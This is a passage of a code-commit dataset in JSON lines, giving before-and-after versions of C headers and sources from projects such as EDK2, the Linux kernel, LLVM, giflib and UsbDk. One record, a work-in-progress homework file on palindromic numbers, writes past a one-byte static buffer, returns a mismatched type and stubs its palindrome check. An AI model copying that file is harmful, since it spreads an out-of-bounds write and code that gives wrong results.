All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n  @par Revision Reference:\r\n  GUID defined in UEFI 2.1.\r\n\r\n**\/\r\n\r\n#ifndef _HARDWARE_ERROR_VARIABLE_GUID_H_\r\n#define _HARDWARE_ERROR_VARIABLE_GUID_H_\r\n\r\n#define EFI_HARDWARE_ERROR_VARIABLE \\\r\n  { \\\r\n    0x414E6BDD, 0xE47B, 0x47cc, {0xB2, 0x44, 0xBB, 0x61, 0x02, 0x0C, 0xF5, 0x16} \\\r\n  }\r\n\r\nextern EFI_GUID gEfiHardwareErrorVariableGuid;\r\n\r\n#endif\r\n","subject":"Remove \"Module Name:\" from include file headers.","message":"Remove \"Module Name:\" from include file headers.\n\n\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@8895 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"27737aa3a9f65012b3656b71e0ff230a4811da4d","old_file":"include\/net\/dcbevent.h","new_file":"include\/net\/dcbevent.h","old_contents":"\/*\n * Copyright (c) 2010, Intel Corporation.\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms and conditions of the GNU General Public License,\n * version 2, as published by the Free Software Foundation.\n *\n * This program is distributed in the hope it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for\n * more details.\n *\n * You should have received a copy of the GNU General Public License along with\n * this program; if not, write to the Free Software Foundation, Inc., 59 Temple\n * Place - Suite 330, Boston, MA 02111-1307 USA.\n *\n * Author: John Fastabend <john.r.fastabend@intel.com>\n *\/\n\n#ifndef _DCB_EVENT_H\n#define _DCB_EVENT_H\n\nenum dcbevent_notif_type {\n\tDCB_APP_EVENT = 1,\n};\n\nextern int register_dcbevent_notifier(struct notifier_block *nb);\nextern int unregister_dcbevent_notifier(struct notifier_block *nb);\nextern int call_dcbevent_notifiers(unsigned long val, void *v);\n\n#endif\n","new_contents":"\/*\n * Copyright (c) 2010, Intel Corporation.\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms and conditions of the GNU General Public License,\n * version 2, as published by the Free Software Foundation.\n *\n * This program is distributed in the hope it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for\n * more details.\n *\n * You should have received a copy of the GNU General Public License along with\n * this program; if not, write to the Free Software Foundation, Inc., 59 Temple\n * Place - Suite 330, Boston, MA 02111-1307 USA.\n *\n * Author: John Fastabend <john.r.fastabend@intel.com>\n *\/\n\n#ifndef _DCB_EVENT_H\n#define _DCB_EVENT_H\n\nenum dcbevent_notif_type {\n\tDCB_APP_EVENT = 1,\n};\n\n#ifdef CONFIG_DCB\nextern int register_dcbevent_notifier(struct notifier_block *nb);\nextern int unregister_dcbevent_notifier(struct notifier_block *nb);\nextern int call_dcbevent_notifiers(unsigned long val, void *v);\n#else\nstatic inline int\nregister_dcbevent_notifier(struct notifier_block *nb)\n{\n\treturn 0;\n}\n\nstatic inline int unregister_dcbevent_notifier(struct notifier_block *nb)\n{\n\treturn 0;\n}\n\nstatic inline int call_dcbevent_notifiers(unsigned long val, void *v)\n{\n\treturn 0;\n}\n#endif \/* CONFIG_DCB *\/\n\n#endif\n","subject":"Add stub routines for !CONFIG_DCB","message":"dcb: Add stub routines for !CONFIG_DCB\n\nTo avoid ifdefs in the other code that supports DCB notifiers\nadd stub routines. This method seems popular in other net code\nfor example 8021Q.\n\nSigned-off-by: John Fastabend <06228589568acf528fa1984e09626513a30b66ed@intel.com>\nSigned-off-by: David S. Miller <fe08d3c717adf2ae63592e4c9aec6e3e404d8e3e@davemloft.net>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"de73b8bcb0ae34f913711f31b3d4d4ed3c826cfa","old_file":"src\/core\/common.h","new_file":"src\/core\/common.h","old_contents":"#ifndef OSSL_CORE_COMMON_H_INCLUDE\r\n#define OSSL_CORE_COMMON_H_INCLUDE\r\n\r\n#include <nan.h>\r\n\r\n#include \"logger.h\"\r\n#include \"scoped_ssl.h\"\r\n#include \"excep.h\"\r\n#include \"key_exp.h\"\r\n#include \"digest.h\"\r\n#include \"bn.h\"\n#include <openssl\/bn.h>\r\n\r\n#endif \/\/ OSSL_CORE_COMMON_H_INCLUDE\r\n","new_contents":"#ifndef OSSL_CORE_COMMON_H_INCLUDE\r\n#define OSSL_CORE_COMMON_H_INCLUDE\r\n\r\n#ifdef _WIN32\r\n#define __WINCRYPT_H__\r\n#endif\r\n\r\n#include <nan.h>\r\n\r\n#include \"logger.h\"\r\n#include \"scoped_ssl.h\"\r\n#include \"excep.h\"\r\n#include \"key_exp.h\"\r\n#include \"digest.h\"\r\n#include \"bn.h\"\r\n#include <openssl\/bn.h>\r\n\r\n#endif \/\/ OSSL_CORE_COMMON_H_INCLUDE\r\n","subject":"Disable __WINCRYPT_H__ headers for Windows","message":"Disable __WINCRYPT_H__ headers for Windows\n","lang":"C","license":"mit","repos":"PeculiarVentures\/node-webcrypto-ossl,PeculiarVentures\/node-webcrypto-ossl,PeculiarVentures\/node-webcrypto-ossl,PeculiarVentures\/node-webcrypto-ossl,PeculiarVentures\/node-webcrypto-ossl,PeculiarVentures\/node-webcrypto-ossl"}
{"commit":"c5f13a2a9c451f0e50854db2305158b287a68b72","old_file":"util\/getarg.h","new_file":"util\/getarg.h","old_contents":"\/***************************************************************************\n\ngetarg.h - Support routines for the giflib utilities\n\n**************************************************************************\/\n\n#ifndef _GETARG_H\n#define _GETARG_H\n\n#include <stdbool.h>\n\n#define VERSION_COOKIE \" Version %d.%d, \"\n\n\/***************************************************************************\n * Error numbers as returned by GAGetArg routine:\n **************************************************************************\/ \n#define CMD_ERR_NotAnOpt  1    \/* None Option found. *\/\n#define CMD_ERR_NoSuchOpt 2    \/* Undefined Option Found. *\/\n#define CMD_ERR_WildEmpty 3    \/* Empty input for !*? seq. *\/\n#define CMD_ERR_NumRead   4    \/* Failed on reading number. *\/\n#define CMD_ERR_AllSatis  5    \/* Fail to satisfy (must-'!') option. *\/\n\nbool GAGetArgs(int argc, char **argv, char *CtrlStr, ...);\nvoid GAPrintErrMsg(int Error);\nvoid GAPrintHowTo(char *CtrlStr);\n\n\/******************************************************************************\n * O.K., here are the routines from QPRINTF.C.              \n******************************************************************************\/\nextern bool GifNoisyPrint;\nextern void GifQprintf(char *Format, ...);\n\n\/******************************************************************************\n * O.K., here are the routines from GIF_ERR.C.              \n******************************************************************************\/\nextern void PrintGifError(void);\nextern int GifLastError(void);\n\n\/* These used to live in the library header *\/\n#define GIF_MESSAGE(Msg) fprintf(stderr, \"\\n%s: %s\\n\", PROGRAM_NAME, Msg)\n#define GIF_EXIT(Msg)    { GIF_MESSAGE(Msg); exit(-3); }\n\n#endif \/* _GETARG_H *\/\n\n\/* end *\/\n","new_contents":"\/***************************************************************************\n\ngetarg.h - Support routines for the giflib utilities\n\n**************************************************************************\/\n\n#ifndef _GETARG_H\n#define _GETARG_H\n\n#include <stdbool.h>\n\n#define VERSION_COOKIE \" Version %d.%d, \"\n\n\/***************************************************************************\n Error numbers as returned by GAGetArg routine:\n***************************************************************************\/ \n#define CMD_ERR_NotAnOpt  1    \/* None Option found. *\/\n#define CMD_ERR_NoSuchOpt 2    \/* Undefined Option Found. *\/\n#define CMD_ERR_WildEmpty 3    \/* Empty input for !*? seq. *\/\n#define CMD_ERR_NumRead   4    \/* Failed on reading number. *\/\n#define CMD_ERR_AllSatis  5    \/* Fail to satisfy (must-'!') option. *\/\n\nbool GAGetArgs(int argc, char **argv, char *CtrlStr, ...);\nvoid GAPrintErrMsg(int Error);\nvoid GAPrintHowTo(char *CtrlStr);\n\n\/******************************************************************************\n From qprintf.c\n******************************************************************************\/\nextern bool GifNoisyPrint;\nextern void GifQprintf(char *Format, ...);\nextern void PrintGifError(void);\n\n\/* These used to live in the library header *\/\n#define GIF_MESSAGE(Msg) fprintf(stderr, \"\\n%s: %s\\n\", PROGRAM_NAME, Msg)\n#define GIF_EXIT(Msg)    { GIF_MESSAGE(Msg); exit(-3); }\n\n#endif \/* _GETARG_H *\/\n\n\/* end *\/\n","subject":"Fix a header that had failed to track dome changed locations.","message":"Fix a header that had failed to track dome changed locations.\n","lang":"C","license":"mit","repos":"rcancro\/giflib,cention-sany\/libgif,Distrotech\/giflib,Distrotech\/giflib,rcancro\/giflib,cention-sany\/libgif,rcancro\/giflib"}
{"commit":"c5142c547ffbe1cbbe5aa83e56f9c67d63c96606","old_file":"lib\/Target\/R600\/AMDGPUAsmPrinter.h","new_file":"lib\/Target\/R600\/AMDGPUAsmPrinter.h","old_contents":"\/\/===-- AMDGPUAsmPrinter.h - Print AMDGPU assembly code -------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/\/ \\file\n\/\/\/ \\brief AMDGPU Assembly printer class.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef AMDGPU_ASMPRINTER_H\n#define AMDGPU_ASMPRINTER_H\n\n#include \"llvm\/CodeGen\/AsmPrinter.h\"\n#include <string>\n#include <vector>\n\nnamespace llvm {\n\nclass AMDGPUAsmPrinter : public AsmPrinter {\n\npublic:\n  explicit AMDGPUAsmPrinter(TargetMachine &TM, MCStreamer &Streamer);\n\n  virtual bool runOnMachineFunction(MachineFunction &MF);\n\n  virtual const char *getPassName() const {\n    return \"AMDGPU Assembly Printer\";\n  }\n\n  \/\/\/ \\brief Emit register usage information so that the GPU driver\n  \/\/\/ can correctly setup the GPU state.\n  void EmitProgramInfoR600(MachineFunction &MF);\n  void EmitProgramInfoSI(MachineFunction &MF);\n\n  \/\/\/ Implemented in AMDGPUMCInstLower.cpp\n  virtual void EmitInstruction(const MachineInstr *MI);\n\nprotected:\n  bool DisasmEnabled;\n  std::vector<std::string> DisasmLines, HexLines;\n  size_t DisasmLineMaxLen;\n};\n\n} \/\/ End anonymous llvm\n\n#endif \/\/AMDGPU_ASMPRINTER_H\n","new_contents":"\/\/===-- AMDGPUAsmPrinter.h - Print AMDGPU assembly code ---------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/\/ \\file\n\/\/\/ \\brief AMDGPU Assembly printer class.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef AMDGPU_ASMPRINTER_H\n#define AMDGPU_ASMPRINTER_H\n\n#include \"llvm\/CodeGen\/AsmPrinter.h\"\n#include <string>\n#include <vector>\n\nnamespace llvm {\n\nclass AMDGPUAsmPrinter : public AsmPrinter {\n\npublic:\n  explicit AMDGPUAsmPrinter(TargetMachine &TM, MCStreamer &Streamer);\n\n  virtual bool runOnMachineFunction(MachineFunction &MF);\n\n  virtual const char *getPassName() const {\n    return \"AMDGPU Assembly Printer\";\n  }\n\n  \/\/\/ \\brief Emit register usage information so that the GPU driver\n  \/\/\/ can correctly setup the GPU state.\n  void EmitProgramInfoR600(MachineFunction &MF);\n  void EmitProgramInfoSI(MachineFunction &MF);\n\n  \/\/\/ Implemented in AMDGPUMCInstLower.cpp\n  virtual void EmitInstruction(const MachineInstr *MI);\n\nprotected:\n  bool DisasmEnabled;\n  std::vector<std::string> DisasmLines, HexLines;\n  size_t DisasmLineMaxLen;\n};\n\n} \/\/ End anonymous llvm\n\n#endif \/\/AMDGPU_ASMPRINTER_H\n","subject":"Fix missing C++ mode comment","message":"Fix missing C++ mode comment\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@194339 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap"}
{"commit":"9089cca24db36608825598e1cd32451a8e20bb2f","old_file":"src\/libaacs\/aacs.h","new_file":"src\/libaacs\/aacs.h","old_contents":"\/*\n * libaacs by Doom9 ppl 2009, 2010\n *\/\n\n#ifndef AACS_H_\n#define AACS_H_\n\n#include <stdint.h>\n\n#include \"..\/file\/configfile.h\"\n\n#define LIBAACS_VERSION \"1.0\"\n\ntypedef struct aacs AACS;\nstruct aacs {\n    uint8_t pk[16], mk[16], vuk[16], vid[16];\n    uint8_t *uks;           \/* unit key array (size = 16 * num_uks, each key is\n                             * at 16-byte offset)\n                             *\/\n    uint16_t num_uks;       \/* number of unit keys *\/\n    uint8_t iv[16];\n    CONFIGFILE *kf;\n};\n\nAACS *aacs_open(const char *path, const char *keyfile_path);\nvoid aacs_close(AACS *aacs);\nint aacs_decrypt_unit(AACS *aacs, uint8_t *buf, uint32_t len, uint64_t offset);\nuint8_t *aacs_get_vid(AACS *aacs);\n\n#endif \/* AACS_H_ *\/\n","new_contents":"\/*\n * libaacs by Doom9 ppl 2009, 2010\n *\/\n\n#ifndef AACS_H_\n#define AACS_H_\n\n#include \"..\/file\/configfile.h\"\n\n#include <stdint.h>\n\n#define LIBAACS_VERSION \"1.0\"\n\ntypedef struct aacs AACS;\nstruct aacs {\n    uint8_t pk[16], mk[16], vuk[16], vid[16];\n    uint8_t *uks;           \/* unit key array (size = 16 * num_uks, each key is\n                             * at 16-byte offset)\n                             *\/\n    uint16_t num_uks;       \/* number of unit keys *\/\n    uint8_t iv[16];\n    CONFIGFILE *kf;\n};\n\nAACS *aacs_open(const char *path, const char *keyfile_path);\nvoid aacs_close(AACS *aacs);\nint aacs_decrypt_unit(AACS *aacs, uint8_t *buf, uint32_t len, uint64_t offset);\nuint8_t *aacs_get_vid(AACS *aacs);\n\n#endif \/* AACS_H_ *\/\n","subject":"Move inclusion of internal headers before system headers","message":"Move inclusion of internal headers before system headers\n","lang":"C","license":"lgpl-2.1","repos":"rraptorr\/libaacs,zxlooong\/libaacs,zxlooong\/libaacs,ShiftMediaProject\/libaacs,mwgoldsmith\/aacs,rraptorr\/libaacs,ShiftMediaProject\/libaacs,mwgoldsmith\/aacs"}
{"commit":"54eeba75d3914e457204a159a7888fc19e50a6dc","old_file":"test\/CodeGen\/may-alias.c","new_file":"test\/CodeGen\/may-alias.c","old_contents":"\/\/ RUN: %clang_cc1 -Werror -triple i386-unknown-unknown -emit-llvm -O1 -disable-llvm-optzns -o %t %s\n\/\/ RUN: FileCheck < %t %s\n\n\/\/ Types with the may_alias attribute should be considered equivalent\n\/\/ to char for aliasing.\n\ntypedef int __attribute__((may_alias)) aliasing_int;\n\nvoid test0(aliasing_int *ai, int *i)\n{\n  *ai = 0;\n  *i = 1;\n}\n\n\/\/ CHECK: store i32 0, i32* %tmp, !tbaa !1\n\/\/ CHECK: store i32 1, i32* %tmp1, !tbaa !3\n\n\/\/ CHECK: !0 = metadata !{metadata !\"any pointer\", metadata !1}\n\/\/ CHECK: !1 = metadata !{metadata !\"omnipotent char\", metadata !2}\n\/\/ CHECK: !2 = metadata !{metadata !\"Simple C\/C++ TBAA\", null}\n\/\/ CHECK: !3 = metadata !{metadata !\"int\", metadata !1}\n","new_contents":"\/\/ RUN: %clang_cc1 -Werror -triple i386-unknown-unknown -emit-llvm -O1 -disable-llvm-optzns -o %t %s\n\/\/ RUN: FileCheck < %t %s\n\n\/\/ Types with the may_alias attribute should be considered equivalent\n\/\/ to char for aliasing.\n\ntypedef int __attribute__((may_alias)) aliasing_int;\n\nvoid test0(aliasing_int *ai, int *i)\n{\n  *ai = 0;\n  *i = 1;\n}\n\n\/\/ CHECK: store i32 0, i32* %{{.*}}, !tbaa !1\n\/\/ CHECK: store i32 1, i32* %{{.*}}, !tbaa !3\n\n\/\/ CHECK: !0 = metadata !{metadata !\"any pointer\", metadata !1}\n\/\/ CHECK: !1 = metadata !{metadata !\"omnipotent char\", metadata !2}\n\/\/ CHECK: !2 = metadata !{metadata !\"Simple C\/C++ TBAA\", null}\n\/\/ CHECK: !3 = metadata !{metadata !\"int\", metadata !1}\n","subject":"Generalize this test to work without instruction names.","message":"Generalize this test to work without instruction names.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@121742 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"b2c0eb6364d545a0083ec3d1cb55ea04fa6c6e2a","old_file":"src\/synchronizer.h","new_file":"src\/synchronizer.h","old_contents":"\/\/\n\/\/  synchronizer.h\n\/\/  P2PSP\n\/\/\n\/\/  This code is distributed under the GNU General Public License (see\n\/\/  THE_GENERAL_GNU_PUBLIC_LICENSE.txt for extending this information).\n\/\/  Copyright (C) 2016, the P2PSP team.\n\/\/  http:\/\/www.p2psp.org\n\/\/\n\n#include <boost\/format.hpp>\n#include <boost\/program_options\/parsers.hpp>\n#include <boost\/program_options\/variables_map.hpp>\n#include \"..\/lib\/p2psp\/src\/util\/trace.h\"\n#include <arpa\/inet.h>\n#include <boost\/array.hpp>\n#include <boost\/asio.hpp>\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n#include <boost\/thread\/thread.hpp>\n#include <ctime>\n#include <fstream>\n#include <string>\n#include <tuple>\n#include <vector>\n\n\nnamespace p2psp {\n\nclass Synchronizer {\npublic:\n    Synchronizer();\n    ~Synchronizer();\n\n    const std::vector<std::string>* peer_list;\n\n\n    void Run(int argc, const char* argv[]) throw(boost::system::system_error);  \/\/Run the argument parser\n    void PlayChunk();  \/\/Play the chunk to the player\n    void Synchronize(); \/\/To get the offset from the first peer and synchronize the lists\n    void ConnectToPeers(); \/\/Connect the synchronizer with various peers\n    };\n}\n","new_contents":"\/\/\n\/\/  synchronizer.h\n\/\/  P2PSP\n\/\/\n\/\/  This code is distributed under the GNU General Public License (see\n\/\/  THE_GENERAL_GNU_PUBLIC_LICENSE.txt for extending this information).\n\/\/  Copyright (C) 2016, the P2PSP team.\n\/\/  http:\/\/www.p2psp.org\n\/\/\n\n#include <boost\/format.hpp>\n#include <boost\/program_options\/parsers.hpp>\n#include <boost\/program_options\/variables_map.hpp>\n#include \"..\/lib\/p2psp\/src\/util\/trace.h\"\n#include <arpa\/inet.h>\n#include <boost\/array.hpp>\n#include <boost\/asio.hpp>\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n#include <boost\/thread\/thread.hpp>\n#include <ctime>\n#include <fstream>\n#include <string>\n#include <tuple>\n#include <vector>\n\n\nnamespace p2psp {\n\nclass Synchronizer {\npublic:\n    Synchronizer();\n    ~Synchronizer();\n\n    const std::vector<std::string>* peer_list;\n    boost::thread_group thread_group_;\n\n    void Run(int argc, const char* argv[]) throw(boost::system::system_error);  \/\/Run the argument parser\n    void PlayChunk();  \/\/Play the chunk to the player\n    void Synchronize(); \/\/To get the offset from the first peer and synchronize the lists\n    void ConnectToPeers(std::string); \/\/Connect the synchronizer with various peers\n    };\n}\n","subject":"Add thread group to manage threads","message":"Add thread group to manage threads\n","lang":"C","license":"mit","repos":"hehaichi\/p2psp-experiments,hehaichi\/p2psp-experiments,hehaichi\/p2psp-experiments"}
{"commit":"91f66b016cb667a05e5e7803a61c6ff1cc7fc8c2","old_file":"include\/dsnutil\/singleton.h","new_file":"include\/dsnutil\/singleton.h","old_contents":"\/\/\/ \\file\n\/\/\/ \\brief Singleton design pattern\n\/\/\/\n\/\/\/ \\author Peter 'png' Hille <peter@das-system-networks.de>\n#ifndef SINGLETON_HH\n#define SINGLETON_HH 1\n\n#include <dsnutil\/compiler_features.h>\n\nnamespace dsn {\n\/\/\/ \\brief Template for singleton classes\n\/\/\/\n\/\/\/ This template can be used to implement the \"singleton\" design pattern\n\/\/\/ on any class.\ntemplate <class Derived>\nclass Singleton {\npublic:\n    \/\/\/ \\brief Access singleton instance\n    \/\/\/\n    \/\/\/ Returns a reference to the instance of this singleton.\n    static dsnutil_cpp_DEPRECATED Derived& getInstance()\n    {\n        return instanceRef();\n    }\n\n    static Derived& instanceRef()\n    {\n        static Derived instance;\n        return instance;\n    }\n\n    static Derived* instancePtr()\n    {\n        return &instanceRef();\n    }\n\nprotected:\n    \/\/\/ \\brief Default constructor\n    \/\/\/\n    \/\/\/ \\note This ctor is protected so that derived classes can implement\n    \/\/\/ their own logics for object initialization while still maintaining\n    \/\/\/ the impossibility of direct ctor calls!\n    Singleton() {}\n\nprivate:\n    \/\/\/ \\brief Copy constructor\n    \/\/\/\n    \/\/\/ \\note This ctor is private to prevent multiple instances of the same\n    \/\/\/ singleton from being created through object assignments!\n    Singleton(const Singleton&) {}\n};\n}\n\n#endif \/\/ !SINGLETON_HH\n","new_contents":"\/\/\/ \\file\n\/\/\/ \\brief Singleton design pattern\n\/\/\/\n\/\/\/ \\author Peter 'png' Hille <peter@das-system-networks.de>\n#ifndef SINGLETON_HH\n#define SINGLETON_HH 1\n\n#include <dsnutil\/compiler_features.h>\n\nnamespace dsn {\n\/\/\/ \\brief Template for singleton classes\n\/\/\/\n\/\/\/ This template can be used to implement the \"singleton\" design pattern\n\/\/\/ on any class.\ntemplate <class Derived>\nclass Singleton {\npublic:\n    \/\/\/ \\brief Access singleton instance\n    \/\/\/\n    \/\/\/ \\return Reference to the instance of this singleton.\n    static dsnutil_cpp_DEPRECATED Derived& getInstance()\n    {\n        return instanceRef();\n    }\n\n    \/\/\/ \\brief Access singleton instance (by reference)\n    \/\/\/\n    \/\/\/ \\return Reference to the initialized singleton instance\n    static Derived& instanceRef()\n    {\n        static Derived instance;\n        return instance;\n    }\n\n    \/\/\/ \\brief Access singleton instance (by pointer)\n    \/\/\/\n    \/\/\/ \\return Pointer to the initialized singleton instance\n    static Derived* instancePtr()\n    {\n        return &instanceRef();\n    }\n\nprotected:\n    \/\/\/ \\brief Default constructor\n    \/\/\/\n    \/\/\/ \\note This ctor is protected so that derived classes can implement\n    \/\/\/ their own logics for object initialization while still maintaining\n    \/\/\/ the impossibility of direct ctor calls!\n    Singleton() {}\n\nprivate:\n    \/\/\/ \\brief Copy constructor\n    \/\/\/\n    \/\/\/ \\note This ctor is private to prevent multiple instances of the same\n    \/\/\/ singleton from being created through object assignments!\n    Singleton(const Singleton&) {}\n};\n}\n\n#endif \/\/ !SINGLETON_HH\n","subject":"Add Doxygen comments for new Singleton methods","message":"Add Doxygen comments for new Singleton methods\n","lang":"C","license":"bsd-3-clause","repos":"png85\/dsnutil_cpp"}
{"commit":"aeccf8f850023bbf8f87739d02eb10d4b6ec406a","old_file":"c\/homeworks\/hw2\/5.c","new_file":"c\/homeworks\/hw2\/5.c","old_contents":"","new_contents":"\/*\n * The decimal number, 585 = 1001001001 (binary), is palindromic in both bases.\n * Find the sum of all numbers, less than 5 000 000, which are palindromic in\n * base 10 and base 2. (Please note that the palindromic number, in either base,\n * may not include leading zeros.)\n *\/\n\n#include <stdio.h>\n#include <string.h>\n\n#define MAXIM 5000000\n\nchar * strrev(char number[]){\n  int length, index=0, tmp;\n\n  length = strlen(number)-1;\n\n  while(index<length) {\n    tmp = number[index];\n    number[index] = number[length];\n    number[length] = tmp;\n    index++; length--;\n  }\n\n  return number;\n}\n\nint *to_base(int base, char repr[], int number) {\n  int remainder, length;\n\n  static char new_number[] = \"\";\n  new_number[0] = '\\0';\n\n  while(number) {\n    remainder = number % base;\n    number \/= base;\n\n    length = strlen(new_number);\n    new_number[length] = repr[remainder];\n    new_number[length+1] = '\\0';\n  }\n\n  return atoi(strrev(new_number));\n\n}\n\nint check_palindrom(int number) {\n  \n  return 1;\n}\n\nint generate_palindroms() {\n  int number, sum=0;\n\n  for(number=11; number<=MAXIM; number++){\n    if (check_palindrom(number) && check_palindrom(to_base(2, \"01\", number))) {\n      sum += number;\n    }\n  }\n\n  return sum;\n}\n\nint main() {\n  generate_palindroms();\n  return 0;\n}\n","subject":"Transform from base 10 in whatever base you want","message":"Transform from base 10 in whatever base you want\n","lang":"C","license":"apache-2.0","repos":"vtemian\/university_projects,vtemian\/university_projects,vtemian\/university_projects"}
{"commit":"8ce936c7be896a867a44ce4a4d39b44f4dc7c9b5","old_file":"UsbDk\/Public.h","new_file":"UsbDk\/Public.h","old_contents":"\/*\n* UsbDk filter\/redirector driver\n*\n* Copyright (c) 2013  Red Hat, Inc.\n*\n* Authors:\n*  Dmitry Fleytman  <dfleytma@redhat.com>\n*\n*\/\n\n#pragma once\n\n#include \"UsbDkData.h\"\n#include \"UsbDkNames.h\"\n\n#define USBDK_DEVICE_TYPE 50000\n\n\/\/ UsbDk Control Device IOCTLs\n#define IOCTL_USBDK_COUNT_DEVICES \\\n    ULONG(CTL_CODE( USBDK_DEVICE_TYPE, 0x851, METHOD_BUFFERED, FILE_READ_ACCESS ))\n#define IOCTL_USBDK_ENUM_DEVICES \\\n    ULONG(CTL_CODE( USBDK_DEVICE_TYPE, 0x852, METHOD_BUFFERED, FILE_READ_ACCESS ))\n#define IOCTL_USBDK_ADD_REDIRECT \\\n    ULONG(CTL_CODE( USBDK_DEVICE_TYPE, 0x854, METHOD_BUFFERED, FILE_READ_ACCESS ))\n#define IOCTL_USBDK_REMOVE_REDIRECT \\\n    ULONG(CTL_CODE( USBDK_DEVICE_TYPE, 0x855, METHOD_BUFFERED, FILE_READ_ACCESS ))\n","new_contents":"\/*\n* UsbDk filter\/redirector driver\n*\n* Copyright (c) 2013  Red Hat, Inc.\n*\n* Authors:\n*  Dmitry Fleytman  <dfleytma@redhat.com>\n*\n*\/\n\n#pragma once\n\n#include \"UsbDkData.h\"\n#include \"UsbDkNames.h\"\n\n#define USBDK_DEVICE_TYPE 50000\n\n\/\/ UsbDk Control Device IOCTLs\n#define IOCTL_USBDK_COUNT_DEVICES \\\n    ULONG(CTL_CODE( USBDK_DEVICE_TYPE, 0x851, METHOD_BUFFERED, FILE_READ_ACCESS ))\n#define IOCTL_USBDK_ENUM_DEVICES \\\n    ULONG(CTL_CODE( USBDK_DEVICE_TYPE, 0x852, METHOD_BUFFERED, FILE_READ_ACCESS ))\n#define IOCTL_USBDK_ADD_REDIRECT \\\n    ULONG(CTL_CODE( USBDK_DEVICE_TYPE, 0x854, METHOD_BUFFERED, FILE_WRITE_ACCESS ))\n#define IOCTL_USBDK_REMOVE_REDIRECT \\\n    ULONG(CTL_CODE( USBDK_DEVICE_TYPE, 0x855, METHOD_BUFFERED, FILE_WRITE_ACCESS ))\n","subject":"Fix control device IOCTLS access type","message":"UsbDk: Fix control device IOCTLS access type\n\nSigned-off-by: Dmitry Fleytman <f50f56ffad4b379c2a89812e98b14900ef87e9ea@redhat.com>\n","lang":"C","license":"apache-2.0","repos":"SPICE\/win32-usbdk,freedesktop-unofficial-mirror\/spice__win32__usbdk,freedesktop-unofficial-mirror\/spice__win32__usbdk,daynix\/UsbDk,SPICE\/win32-usbdk,freedesktop-unofficial-mirror\/spice__win32__usbdk,daynix\/UsbDk"}
